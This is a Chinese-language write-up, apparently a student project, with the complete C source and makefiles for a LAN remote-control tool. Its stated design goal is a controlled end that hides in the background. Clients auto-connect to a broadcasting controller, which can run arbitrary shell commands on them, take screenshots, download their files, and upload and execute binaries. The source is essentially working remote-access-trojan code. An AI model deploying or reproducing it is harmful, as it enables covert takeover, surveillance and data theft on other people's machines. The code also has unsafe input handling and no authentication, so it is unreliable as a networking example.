一、功能描述
受控端功能描述:
1)尽可能隐蔽的方式在后台运行。
2)能够接受控制端的指令并返回相应的操作结果。
3)一个受控端能够同时被多个控制端控制。
控制端功能描述:
1)能够自动发现局域网中的所有受控端。
2)能够获取指定受控端的桌面截图。
3)能够在受控端执行任意命令并返回结果。
4)能够向指定受控端发送可执行文件并执行。
5)一个控制端能够同时控制多个受控端。
二、框架介绍
1.服务端框架
1)主线程:用来处理服务端的人机交互。
2)子线程1:周期向局域网其他主机发送广播,广播信息为服务器的Ip和port信息。
3)子线程2:接收来自客户端的连接请求,并存储相关连接信息。
2.客户端框架
1)主线程:用来接收广播,并且对广播信息(服务端ip和port信息)进行验证,如果是新的服务器,则创建子线程进行处理。
2)子线程:根据广播信息与服务器进行连接,并处理来自服务端的命令。
三、服务器端实现
1.makefile文件
server:server.o linklist.o
gcc server.o linklist.o -lpthread -o server
server.o:server.c linklist.h
gcc -c server.c
linklist.o:linklist.c linklist.h
gcc -c linklist.c
clean:
rm server.o linklist.o server
2.linklist.h
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <errno.h>
#include <netinet/in.h>
#include <pthread.h>
typedef struct _ClientInfo{
char ip[16];
struct sockaddr_in addr_in;
int decr;
pthread_t pid;
}ClientInfo;
typedef struct _ListNode{
ClientInfo data;
struct _ListNode *next;
}ListNode;
extern ListNode * CreateList(void);
//extern void Delete(ListNode *head,ClientInfo data);
extern void Insert(ListNode *head,ClientInfo data);
extern void Display(ListNode *head);
extern int FindNode(ListNode *head,char ip[]);
3.linklist.c
#include "linklist.h"
ListNode *CreateList(void)
{
ListNode *head=(ListNode *)malloc(sizeof(ListNode));
head->next=NULL;
return head;
}
void Insert(ListNode *head,ClientInfo data)
{
ListNode *s,*p;
p=head;
while(p->next!=NULL)
p=p->next;
s=(ListNode *)malloc(sizeof(ListNode));
s->data=data;
s->next=p->next;
p->next=s;
}
void Display(ListNode *head)
{
ListNode *p=head->next;
int i=1;
while(p!=NULL)
{
printf("%d) %s\n",i,p->data.ip);
p=p->next;
i++;
}
printf("\n\n");
}
int FindNode(ListNode *head,char ip[])
{
ListNode *p=head->next;
while(p!=NULL)
{
if(strcmp(p->data.ip,ip)==0)
{
return p->data.decr;
}
p=p->next;
}
return 0;
}
4.server.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <pthread.h>
#include <arpa/inet.h>
#include <signal.h>
#include <fcntl.h>
#include "linklist.h"
#include <time.h>
#define MAXLEN 1024
ListNode *client_list;
char cur_process_ip[16];
char enter_msg[MAXLEN];
char send_msg[MAXLEN];
char recv_msg[MAXLEN];
char file_name[MAXLEN];
pthread_mutex_t mutex=PTHREAD_MUTEX_INITIALIZER;
void HandleConnect(int *serverfd);
void HandleClient();
void HandleMenu();
/****************************************************************
Get size of a file
****************************************************************/
int FileSize(char *file_name)
{
struct stat stat_buff;
stat(file_name,&stat_buff);
int size=stat_buff.st_size;
return size;
}
void HandleConnect(int *serverfd){
socklen_t client_len;
int sockfd=*serverfd;
ClientInfo client_info;
struct sockaddr_in client_addr;
while(1)
{
if((client_info.decr=accept(sockfd,(struct sockaddr*)&client_addr,&client_len))==-1)
{
printf("Connect failed!");
}
else
{
//printf("Connect to %s succesfully!\n",inet_ntoa(client_addr.sin_addr));
client_info.addr_in=client_addr;
strcpy(client_info.ip,inet_ntoa(client_addr.sin_addr));
Insert(client_list,client_info);
}
}
}
/**********************************************************************
Receive file function.
*********************************************************************/
void ReceiveFile(char *file_name,int sfd)
{
bzero(recv_msg,sizeof(recv_msg));
int n=recv(sfd,recv_msg,sizeof(recv_msg),0); //get the size of file
int file_size=atoi(recv_msg);
strcpy(send_msg,"ok");
send(sfd,send_msg,strlen(send_msg)+1,0);
int fd=open(file_name,O_WRONLY|O_CREAT,0777);
bzero(recv_msg,sizeof(recv_msg));
int nread=0,count=0;
printf("Start to download file.\n");
while(count<file_size)
{
nread=recv(sfd,recv_msg,sizeof(recv_msg),0);
if(nread<0)
{
break;
}
count+=nread;
write(fd,recv_msg,nread);
bzero(recv_msg,sizeof(recv_msg));
}
printf("Download file finished.\n");
close(fd);
}
/********************************************************************
Send file function.
******************************************************************/
void SendFile(char *send_file_name,int sockfd)
{
int size=FileSize(send_file_name);
char temp[MAXLEN];
char buff[MAXLEN];
int nread;
sprintf(temp,"%d",size);
send(sockfd,temp,sizeof(temp),0); //send the size of file to the server
while((nread=recv(sockfd,buff,MAXLEN,0))<=0); //receive the signal from server to start send file
//FILE *read_file=fopen(send_file_name,"rb");
int fd=open(send_file_name,O_RDONLY);
int nfread=0;
printf("Start to send file.\n");
while((nfread=read(fd,send_msg,MAXLEN))>0)
{
send(sockfd,send_msg,nfread,0);
bzero(send_msg,sizeof(send_msg));
}
printf("Send file finished.\n");
close(fd);
}
void ScreenPrint(int sfd)
{
bzero(send_msg,MAXLEN);
sprintf(send_msg,"%s@","screen");
send(sfd,send_msg,strlen(send_msg)+1,0);
}
void SendCommandAndReturnResult(int sfd)
{
printf("Please enter the command:");
getchar();
fgets(enter_msg,sizeof(enter_msg),stdin);
sprintf(send_msg,"%s@%s","command",enter_msg);
send(sfd,send_msg,strlen(send_msg)+1,0);
int nread=recv(sfd,recv_msg,sizeof(recv_msg),0);
if(nread>0)
{
printf("%s",recv_msg);
}
return;
}
void DownloadFile(int sfd)
{
printf("Please enter the file name:");
scanf("%s",enter_msg);
sprintf(send_msg,"%s@%s","download",enter_msg);
send(sfd,send_msg,strlen(send_msg)+1,0);
sprintf(file_name,"download/%s",enter_msg);
ReceiveFile(file_name,sfd);
return;
}
void SendFileAndExcute(int sfd)
{
printf("Please enter the file name to be sent:");
scanf("%s",enter_msg);
bzero(send_msg,sizeof(send_msg));
sprintf(send_msg,"%s@%s","send",enter_msg);
printf("%s\n",send_msg);
send(sfd,send_msg,strlen(send_msg)+1,0);
SendFile(enter_msg,sfd);
}
void HandleClient(int sfd)
{
int choose=0;
while(choose!=5)
{
printf("\n");
printf("1.Get the desktop screenshot\n");
printf("2.The instruction execution and returns the result\n");
printf("3.Download the files in controlled client\n");
printf("4.Send the executable files and execute them\n");
printf("5.return\n");
printf("Please make a choice(1-5):");
scanf("%d",&choose);
if(choose==5)
{
return;
}
else if(choose==1)
{
sprintf(send_msg,"%s@","screen");
send(sfd,send_msg,strlen(send_msg)+1,0);
char strtime[20];
time_t timep;
struct tm *p_tm;
timep=time(NULL);
p_tm=localtime(&timep);
strftime(strtime,sizeof(strtime),"%Y-%m-%d-%H-%M-%S", p_tm);
sprintf(file_name,"screen/%s.png",strtime);
ReceiveFile(file_name,sfd);
}
else if(choose==2)
{
SendCommandAndReturnResult(sfd);
}
else if(choose==3)
{
DownloadFile(sfd);
}
else
{
SendFileAndExcute(sfd);
}
}
}
void HandleBroadcast()
{
int sock=-1;
if((sock=socket(AF_INET,SOCK_DGRAM,0))==-1)
{
printf("Socket error\n");
return;
}
const int opt=1;
int nb=setsockopt(sock,SOL_SOCKET,SO_BROADCAST,(char *)&opt,sizeof(opt));
if(nb==-1)
{
printf("Set socket error...\n");
return;
}
struct sockaddr_in addrto;
bzero(&addrto,sizeof(struct sockaddr_in));
addrto.sin_family=AF_INET;
addrto.sin_addr.s_addr=htonl(INADDR_BROADCAST);
addrto.sin_port=htons(6000);
int nlen=sizeof(addrto);
while(1)
{
sleep(1);
char smsg[]="192.168.111.131@8000"; //ip and port
int ret=sendto(sock,smsg,strlen(smsg)+1,0,(struct sockaddr*)&addrto,nlen);
if(ret<0)
{
printf("Send error\n");
}
}
}
void HandleMenu()
{
while(1)
{
int choose=0;
while(choose<1 || choose>3)
{
printf("\n");
printf("1.Display all the controlled client:\n");
printf("2.Select a controlled target:\n");
printf("3.Close the server:\n");
printf("please make a chooice(1-3):");
scanf("%d",&choose);
}
if(choose==3)
{
return;
}
else if(choose==1)
{
Display(client_list);
}
else
{
printf("Please enter the ip you want to controll:");
scanf("%s",cur_process_ip);
int sfd=FindNode(client_list,cur_process_ip);
HandleClient(sfd);
}
}
}
int main(int argc,char *argv[])
{
struct sockaddr_in server_addr,client_addr;
int sockfd,connectfd,port,nread;
pthread_t pid;
char buf[MAXLEN];
char str[MAXLEN];
if(argc!=2)
{
printf("Please input port number!\n");
exit(1);
}
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
printf("Create socket failed!\n");
exit(1);
}
client_list=CreateList();
client_list->data.decr=sockfd;
port=atoi(argv[1]);
bzero(&server_addr,sizeof(struct sockaddr_in));
server_addr.sin_family=AF_INET;
server_addr.sin_addr.s_addr=htonl(INADDR_ANY);
server_addr.sin_port=htons(port);
if(bind(sockfd,(struct sockaddr *)&server_addr,sizeof(struct sockaddr))==-1)
{
printf("Bind port failed,the port might be occupied!\n");
exit(2);
}
if(listen(sockfd,20)==-1)
{
printf("Listen port failed!\n");
exit(3);
}
pthread_t pid1;
printf("Start broadcast...\n");
pthread_create(&pid1,NULL,(void*)HandleBroadcast,NULL);
printf("Listening...\n");
pthread_create(&pid,NULL,(void*)HandleConnect,(void*)&sockfd);
HandleMenu();
return 0;
}
四、客户端实现
1.makefile
client:client.o list.o
gcc client.o list.o -lpthread -o client
client.o:client.c
gcc -c client.c
list.o:list.c list.h
gcc -c list.c
clean:
rm client.o list.o client
2.list.h
#ifndef _LIST_H_
#define _LIST_H_
typedef struct _Node{
char ip[30];
struct _Node *next;
}Node;
extern Node *CreateList();
extern void AddNode(Node *head,char ip[]);
extern int FindNode(Node *head,char ip[]);
extern void DeleteList(Node *head);
#endif
3.list.c
#include <stdio.h>
#include <string.h>
#include<stdlib.h>
#include "list.h"
Node* CreateList()
{
Node *head=(Node*)malloc(sizeof(Node));
head->next=NULL;
return head;
}
void AddNode(Node *head,char ip[])
{
Node *temp=(Node*)malloc(sizeof(Node));
strcpy(temp->ip,ip);
Node *p=head;
while(p->next!=NULL)
{
p=p->next;
}
temp->next=p->next;
p->next=temp;
}
int FindNode(Node *head,char ip[])
{
Node *p=head->next;
while(p!=NULL)
{
if(strcmp(p->ip,ip)==0)
return 1;
p=p->next;
}
return 0;
}
void DeleteList(Node *head)
{
Node *p,*s;
p=head;
s=head->next;
while(s!=NULL)
{
free(p);
p=s;
s=s->next;
}
free(p);
}
4.client.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <string.h>
#include <errno.h>
#include <pthread.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <time.h>
#include "list.h"
#define MAXLEN 1024
//char server_ip[]="127.0.0.1";
//int server_port=8000;
Node *server_ip_list;
char send_msg[MAXLEN];
char recv_msg[MAXLEN];
char command_msg[MAXLEN];
char file_name[]="result.txt";
char smsg[100];
typedef struct _IpConnect{
char ip_port[100];
pthread_t pid;
}IpConnect;
void ConnectServer(IpConnect *ip_port);
/*****************************************************************
Get size of a file
****************************************************************/
int FileSize(char *file_name)
{
struct stat stat_buff;
stat(file_name,&stat_buff);
int size=stat_buff.st_size;
return size;
}
/******************************************************************
Get rid of the newline caracter in the last.
*****************************************************************/
void GetRidOfNewlineCharacter(char str[])
{
int i=0;
while(str[i]!='\n' && str[i]!='\0')
{
i++;
}
str[i]='\0';
}
/*******************************************************************
Cut a string into two part by a character.
******************************************************************/
void CutStr(char str[],char left[], int n, char right[],int m, char c)
{
int i,k,j;
for(i = 0 ; i < n ;i++)
{
if(str[i] == c)
break;
}
if(i == n)
{
i = -1;
}
else
{
memset(left,0,strlen(left));
for(k = 0 ; k < i ; k++)
{
left[k] = str[k];
}
}
for(j = i+1 ; j < m;j++)
{
if(str[j] == '\0')
break;
right[j-i-1] = str[j];
}
left[i] = '\0';
if(j < m)
right[j-i-1] = '\0';
else
right[m] = '\0';
}
/********************************************************************
Reconnect after some time if connect failed.
*******************************************************************/
int ConnectRetry(int domain,int type,int protocol,const struct sockaddr *addr,socklen_t alen,int MAXSLEEP)
{
int numsec,fd;
for(numsec=1;numsec<=MAXSLEEP;numsec<<=1)
{
if((fd=socket(domain,type,protocol))<0)
return -1;
if(connect(fd,addr,alen)==0)
return fd;
close(fd);
if(numsec<=MAXSLEEP/2)
sleep(numsec);
}
return -1;
}
/*******************************************************************
Send file function.
******************************************************************/
void SendFile(char *send_file_name,int sockfd)
{
int size=FileSize(send_file_name);
char temp[MAXLEN];
char buff[MAXLEN];
int nread;
sprintf(temp,"%d",size);
send(sockfd,temp,sizeof(temp),0); //send the size of file to the server
while((nread=recv(sockfd,buff,MAXLEN,0))<=0); //receive the signal from server to start send file
//FILE *read_file=fopen(send_file_name,"rb");
int fd=open(send_file_name,O_RDONLY);
int nfread=0;
printf("Start to send file.\n");
while((nfread=read(fd,send_msg,MAXLEN))>0)
{
send(sockfd,send_msg,nfread,0);
bzero(send_msg,sizeof(send_msg));
}
printf("Send file finished.\n");
close(fd);
}
/*************************************************************
Receive file function.
************************************************************/
void ReceiveFile(char *file_name,int sfd)
{
bzero(recv_msg,sizeof(recv_msg));
int n=recv(sfd,recv_msg,sizeof(recv_msg),0); //get the size of file
int file_size=atoi(recv_msg);
strcpy(send_msg,"ok");
send(sfd,send_msg,strlen(send_msg)+1,0);
int fd=open(file_name,O_WRONLY|O_CREAT,0777);
bzero(recv_msg,sizeof(recv_msg));
int nread=0,count=0;
printf("Start to download file.\n");
while(count<file_size)
{
nread=recv(sfd,recv_msg,sizeof(recv_msg),0);
if(nread<0)
{
break;
}
count+=nread;
write(fd,recv_msg,nread);
bzero(recv_msg,sizeof(recv_msg));
}
printf("Download file finished.\n");
close(fd);
}
/*******************************************************************
Excute the command from server.
******************************************************************/
void OperatorCommand(int sockfd)
{
char buff[MAXLEN];
char flag[15];
char message[MAXLEN];
int nread=recv(sockfd,buff,MAXLEN,0);
printf("%s\n",buff);
if(nread>0)
{
CutStr(buff,flag,15,message,MAXLEN,'@');
bzero(send_msg,sizeof(send_msg));
if(strcmp(flag,"screen")==0)
{
char send_file_name[MAXLEN];
char strtime[20];
time_t timep;
struct tm *p_tm;
timep=time(NULL);
p_tm=localtime(&timep);
strftime(strtime,sizeof(strtime),"%Y-%m-%d-%H-%M-%S", p_tm);
// printf("%s\n",strtime);
sprintf(command_msg,"%s%s.png","gnome-screenshot -f screen/",strtime);
sprintf(send_file_name,"screen/%s.png",strtime);
system(command_msg);
sleep(1);
SendFile(send_file_name,sockfd);
}
else if(strcmp(flag,"command")==0)
{
GetRidOfNewlineCharacter(message);
sprintf(command_msg,"%s > %s",message,file_name);
system(command_msg);
FILE *fp=fopen(file_name,"rb");
fread(send_msg,1,MAXLEN,fp);
send(sockfd,send_msg,strlen(send_msg)+1,0);
fclose(fp);
}
else if(strcmp(flag,"download")==0)
{
SendFile(message,sockfd);
}
else if(strcmp(flag,"send")==0)
{
ReceiveFile(message,sockfd);
sprintf(command_msg,"./%s",message);
system(command_msg);
}
}
}
void ListenBroadcast()
{
server_ip_list=CreateList();
struct sockaddr_in addrto;
bzero(&addrto,sizeof(struct sockaddr_in));
addrto.sin_family=AF_INET;
addrto.sin_addr.s_addr=htonl(INADDR_ANY);
addrto.sin_port=htons(6000);
struct sockaddr_in from;
bzero(&from,sizeof(struct sockaddr_in));
from.sin_family=AF_INET;
from.sin_addr.s_addr=htonl(INADDR_ANY);
from.sin_port=htons(6000);
int sock=-1;
if((sock=socket(AF_INET,SOCK_DGRAM,0))==-1)
{
printf("Socket error\n");
return;
}
const int opt=1;
int nb=setsockopt(sock,SOL_SOCKET,SO_BROADCAST,(char *)&opt,sizeof(opt));
if(nb==-1)
{
printf("Set socket error...\n");
return;
}
if(bind(sock,(struct sockaddr*)&addrto,sizeof(struct sockaddr_in))==-1)
{
printf("Bind error...\n");
return;
}
int len=sizeof(struct sockaddr_in);
IpConnect node;
while(1)
{
bzero(smsg,100);
int ret=recvfrom(sock,smsg,100,0,(struct sockaddr*)&from,(socklen_t *)&len);
if(ret<=0)
{
printf("Read error...\n");
return;
}
else
{
if(FindNode(server_ip_list,smsg)==0) //new server
{
//printf("test\n");
AddNode(server_ip_list,smsg);
pthread_t pid;
printf("%s\n",smsg);
node.pid=pid;
strcpy(node.ip_port,smsg);
pthread_create(&pid,NULL,(void *)ConnectServer,(void *)&node);
}
}
}
}
void ConnectServer(IpConnect *ip_connect)
{
char ip_port[100];
strcpy(ip_port,ip_connect->ip_port);
//printf("%s\n",ip_port);
//printf("test\n");
char ip[20];
char port[10];
CutStr(ip_port,ip,20,port,30,'@');
printf("%s %s\n",ip,port);
int sockfd;
struct sockaddr_in server_addr;
pthread_t pid;
int server_port=atoi(port);
bzero(&server_addr,sizeof(struct sockaddr_in));
server_addr.sin_family=AF_INET;
server_addr.sin_addr.s_addr=inet_addr(ip);
server_addr.sin_port=htons(server_port);
if((sockfd=ConnectRetry(AF_INET,SOCK_STREAM,0,(struct sockaddr*)&server_addr,sizeof(server_addr),128))==-1)
{
exit(1);
}
else
{
printf("connect succefully!\n");
}
while(1)
{
OperatorCommand(sockfd);
}
}
int main(int argc,char *argv[])
{
ListenBroadcast();
DeleteList(server_ip_list);
}
五、结果演示